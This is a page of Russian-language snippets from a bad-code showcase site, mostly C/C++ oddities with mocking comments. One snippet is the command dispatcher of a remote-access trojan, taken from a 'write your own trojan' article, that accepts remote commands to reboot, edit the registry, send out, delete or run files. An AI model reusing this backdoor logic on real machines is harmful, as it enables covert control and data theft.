- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
switch(par)
{
case 'O' : cdcb.Parity = ODDPARITY;
case 'M': cdcb.Parity = MARKPARITY;
case 'E' : cdcb.Parity = EVENPARITY;
case 'N' : cdcb.Parity = NOPARITY;
default : cdcb.Parity = NOPARITY;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+22
switch(par)
{
case 'O' : cdcb.Parity = ODDPARITY;
case 'M': cdcb.Parity = MARKPARITY;
case 'E' : cdcb.Parity = EVENPARITY;
case 'N' : cdcb.Parity = NOPARITY;
default : cdcb.Parity = NOPARITY;
}
И это в классе dracula
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
+15
// file: Filter.h
inline const CString GetField() const
{
if (m_strField.compare(MBL_FT_AUTHID_STRING) == 0)
{
return CString(MBL_FT_AUTHID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_CORRELATION_ID_STRING) == 0)
{
return CString(MBL_FT_CORRELATION_ID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_PLAN_STRING) == 0)
{
return CString(MBL_FT_PLAN_SERVER_STRING);
}
// ... всего 14 веток в таком духе ...
else if (m_strField.compare(MBL_FT_DDF_ACCOUNTING_STRING_STRING) == 0)
{
return CString(MBL_FT_DDF_ACCOUNTING_STRING_SERVER_STRING);
}
return m_strField;
}
Автор — русский.
+6
// функция квадрата расстояния на гексагональном поле
Fixed SDist2 (Fixed dx, Fixed dy)
{
return (dx*dx+dy*dy+dx*dy);
}
// а теперь типа находим ближайшее целое, ближайшее в гексагональном смысле
const Fixed rx = int(rtx), ry = int(rty);
const Fixed
d00 = SDist2(rx -rtx, ry -rty),
d10 = SDist2(rx+fx1-rtx, ry -rty),
d01 = SDist2(rx -rtx, ry+fx1-rty),
d11 = SDist2(rx+fx1-rtx, ry+fx1-rty);
int x,y;
if (d00<d10 && d00<d01 && d00<d11)
{
x=int(rx); y=int(ry);
} else if (d10<d01 && d10<d11)
{
x=int(rx)+1; y=int(ry);
} else if (d01<d11)
{
x=int(rx); y=int(ry)+1;
} else
{
x=int(rx)+1; y=int(ry)+1;
}
изящно не получилось
+3
#include <iostream>
using namespace std;
class Base {
public:
Base() {
cout << "Base construct\n";
}
virtual ~Base() {
cout << "Base destruct\n";
}
};
class Child: public Base {
public:
Child() {
cout << "Child construct\n";
}
~Child() {
cout << "Child destruct\n";
}
};
int main() {
Base *base = new Child();
delete base;
}
Hy нe oчeвиднo жe! Для тoгo, чтoб вызывaлиcь вce дecтpyктopы, нyжнo oбъявить eгo виpтyaльным. B тo вpeмя кaк кoнcтpyктop бeз мoдификaтopa virtual paбoтaeт тaк жe, кaк виpтyaльный дecтpyктop.
И зaчeм вoбщe ocтaвлять вoзмoжнocть нe виpтyaльнoгo дecтpyктopa - нe мoгy пpeдcтaвить ceбe cлyчaя, кoгдa пpи yдaлeнии oбъeктa нyжeн вызoв дecтpyктopa тoлькo бaзoвoгo клacca.
+17
// base class for objects that need to be initialized
//
struct Initializable
{
protected:
inline void OneTimeInit()
{
#if _DEBUG_BUILD
ASSERT(!m__hasBeenIsInitialized);
m__hasBeenIsInitialized = true;
#endif // _DEBUG_BUILD
}
inline void OneTimeDestroy()
{
#if _DEBUG_BUILD
ASSERT(m__hasBeenIsInitialized);
m__hasBeenIsInitialized = false;
#endif // _DEBUG_BUILD
}
inline void CheckInitialized()
{
#if _DEBUG_BUILD
mxBREAK_IF( !m__hasBeenIsInitialized );
#endif // _DEBUG_BUILD
}
inline Initializable()
{
#if _DEBUG_BUILD
m__hasBeenIsInitialized = false;
#endif // _DEBUG_BUILD
}
inline ~Initializable()
{
#if _DEBUG_BUILD
ASSERT(!m__hasBeenIsInitialized);
#endif // _DEBUG_BUILD
}
private:
#if _DEBUG_BUILD
bool m__hasBeenIsInitialized;
#endif // _DEBUG_BUILD
};
template< class KLASS > // where KLASS : TGlobal<KLASS>, Initializable
struct DependsOn
{
protected:
DependsOn()
{
ASSERT( KLASS::HasInstance() );
ASSERT( KLASS::Get().IsInitialized() );
}
};
template< class KLASS > // where KLASS : TGlobal<KLASS>
struct DependsOnGlobal
{
protected:
DependsOnGlobal()
{
ASSERT( KLASS::HasInstance() );
//ASSERT( KLASS::Get().IsInitialized() );
}
};
Базовый класс для дебажной проверки того, был ли инициализирован конкретный объект.
Этот бред находился в самой древней кодобазе, сейчас нигде не используется. Удаляю.
+15
#include <iostream>
#include <string>
#include <vector>
#include <list>
#include <algorithm>
#include <iterator>
#include <sstream>
#include <assert.h>
using namespace std;
template<class Container, class Iterator>
size_t position(Container&& c, Iterator pos){
return size_t(distance(begin(c), pos));
}
template<class Container, class Iterator, class Iterator2>
string sposition(Container&& c, const pair<Iterator, Iterator2>& pos){
ostringstream r;
r << "(" << position(c, pos.first) << ", " << position(c, pos.second) << ")";
return r.str();
}
template<class Container, class Value>
pair<typename remove_reference<Container>::type::iterator, typename remove_reference<Container>::type::iterator>
binary_search(Container&& source, const Value& item){
assert(is_sorted(begin(source), end(source)));
const auto empty = make_pair(source.end(), source.end());
auto l = begin(source), r=end(source), m=l;
while(true){
if(l==r)
return empty;
const auto lr = distance(l,r);
m = next(l, lr/2);
if(*m<item)
l = m;
if(*m>item)
r = m;
if(*m==item)
break;
if(l!=r && next(l)==r)
return empty;
}
cout<<"part1"<<endl;
auto l1=l, r1=m, l2=m, r2=r;
while(true){
const auto lr1 = distance(l1, r1);
m = next(l1, lr1/2);
if(*m<item)
l1 = m;
if(*m>=item)
r1 = m;
if(l1==r1 || (*l1<item && *r1>=item))
break;
}
cout<<"part2"<<endl;
while(true){
const auto lr2 = distance(l2, r2);
m = next(l2, lr2/2);
if(*m<=item)
l2 = m;
if(*m>item)
r2 = m;
if(l2==r2 || (*l2>=item && (r==r2 || *r2>item)))
break;
}
cout<<"part3"<<endl;
return {r1, next(l2)};
}
int main(){
vector<int> s{5,7,7,7,9,19,23};
list<int> s2(s.begin()+1, s.end());
cout<<sposition(s, binary_search(s, 7))<<endl;
cout<<sposition(s2, binary_search(s2, 7))<<endl;
cout<<sposition(s, binary_search(s, 9))<<endl;
cout<<sposition(s, binary_search(s, 5))<<endl;
cout<<sposition(s, binary_search(s, 23))<<endl;
cout<<sposition(s, binary_search(s, 0))<<endl;
vector<int> e;
cout<<sposition(e, binary_search(e, 0))<<endl;
cout<<sposition(s, binary_search(s, 25))<<endl;
cout<<sposition(s, binary_search(s, 10))<<endl;
return 0;
}
http://coliru.stacked-crooked.com/a/0f74a4661c06cd68
Специально для @Пи, раз ему хачкель не нравится.
+24
((x<0) && (y < 0)) ? ({x =-x; y=-y;}) : (((x < 0) || (y < 0)) ? ({x+=0.5; y+=0.5;}) : ( (!(((x > 2.0) || (x < 0.5)) && ( (y > 2.0) || (y < 0.5) ))) ? : ({x/=10;y/=10;}) ) );
простейшее задание на условия...
+37
int hamming(int i, int j, vector<state>& net) //returns Hamming distance between i and j nodes
{
int res = 0;
if (net[i].nodes[0] != net[j].nodes[0])
{
res++;
}
if (net[i].nodes[1] != net[j].nodes[1])
{
res++;
}
if (net[i].nodes[2] != net[j].nodes[2])
{
res++;
}
if (net[i].nodes[3] != net[j].nodes[3])
{
res++;
}
if (net[i].nodes[4] != net[j].nodes[4])
{
res++;
}
if (net[i].nodes[5] != net[j].nodes[5])
{
res++;
}
if (net[i].nodes[6] != net[j].nodes[6])
{
res++;
}
if (net[i].nodes[7] != net[j].nodes[7])
{
res++;
}
if (net[i].nodes[8] != net[j].nodes[8])
{
res++;
}
if (net[i].nodes[9] != net[j].nodes[9])
{
res++;
}
if (net[i].nodes[10] != net[j].nodes[10])
{
res++;
}
if (net[i].nodes[11] != net[j].nodes[11])
{
res++;
}
if (net[i].nodes[12] != net[j].nodes[12])
{
res++;
}
return res;
}
Человеку срочно нужно узнать про существование циклов.
+27
#include <iostream>
#include <iterator>
#include <algorithm>
#include <vector>
#include <utility>
#include <sstream>
#include <assert.h>
using namespace std;
struct PeriodDescription{
size_t length, repeat_amount, last_items_amount;
/*friend ostream& operator<<(ostream& os, const PeriodDescription& s){
os<<" (PeriodDescription){"<<s.length<<", "<<s.repeat_amount<<", "<<s.last_items_amount<<"} ";
return os;
}*/
};
/*template<class C>
string co(C&& c){
ostringstream r;
r<<" (C) {";
copy(c.begin(), c.end(), ostream_iterator<typename C::value_type>(r, ", "));
r<<"}; ";
return move(r.str());
}*/
vector<PeriodDescription> find_repeat_sequences_since_begin(const string& sequence){
vector<PeriodDescription> result;
if(sequence.empty())
return result;
auto position_at_last_period=sequence.begin();
const char first_item = *position_at_last_period;
const auto after_last=sequence.end();
auto position_at_current_period = position_at_last_period;
while(true){
position_at_last_period=sequence.begin();
position_at_current_period = find(next(position_at_current_period), after_last, first_item);
PeriodDescription new_period {size_t(distance(position_at_last_period, position_at_current_period)), 1, 0};
while(position_at_current_period!=after_last && *position_at_last_period==*position_at_current_period){
++position_at_last_period; ++position_at_current_period;
if(++new_period.last_items_amount>=new_period.length){
new_period.last_items_amount = 0;
++new_period.repeat_amount;
}
}
if(new_period.repeat_amount==1 && new_period.last_items_amount==0)
return result;
result.push_back(new_period);
if(position_at_current_period==after_last)
return result;
}
}
vector<size_t> generate_FSM_failJumpIndices(const vector<PeriodDescription>& periodDescriptions, const size_t stringLength){
vector<size_t> r(stringLength+1);
for(const auto& pd : periodDescriptions){
for(size_t periodIndex=1; periodIndex<pd.repeat_amount; ++periodIndex)
for(size_t indexAtPeriod=0; indexAtPeriod<pd.length; ++indexAtPeriod)
r[(periodIndex*pd.length)+indexAtPeriod]=(periodIndex-1)*pd.length + indexAtPeriod;
for(size_t indexAtAfterPeriods=0; indexAtAfterPeriods<pd.last_items_amount; ++indexAtAfterPeriods)
r[pd.length*pd.repeat_amount+indexAtAfterPeriods]=pd.length*(pd.repeat_amount-1)+indexAtAfterPeriods;
}
return r;
}
vector<size_t> make_FSM_failJumpIndices(const string& sequence){
return generate_FSM_failJumpIndices(find_repeat_sequences_since_begin(sequence), sequence.size());
}
class FSM_for_find_equal_ranges{
size_t state;
vector<size_t> failJumpIndices;
string sequence;
string::const_iterator find_next(string::const_iterator checkPosition, const string::const_iterator last){
struct atReturn{
size_t& state;
~atReturn(){state = 0;}
}nullify{state};
if(checkPosition==last)
return last;
if(sequence.empty())
return next(checkPosition);
if(size_t(distance(checkPosition, last))<sequence.size())
return last;
while(true){
if(checkPosition==last)
return last;
if(*checkPosition==sequence[state])
++state;
else
state=failJumpIndices[state];
++checkPosition;
if(state>=sequence.size())
return prev(checkPosition, sequence.size());
}
}
public:
template<class T>
FSM_for_find_equal_ranges(T&& sequence):
Очередное собеседование. Пригласили на должность дельфина. Но оп отказался проходить собеседование на дельфи.
http://ideone.com/zp5CRb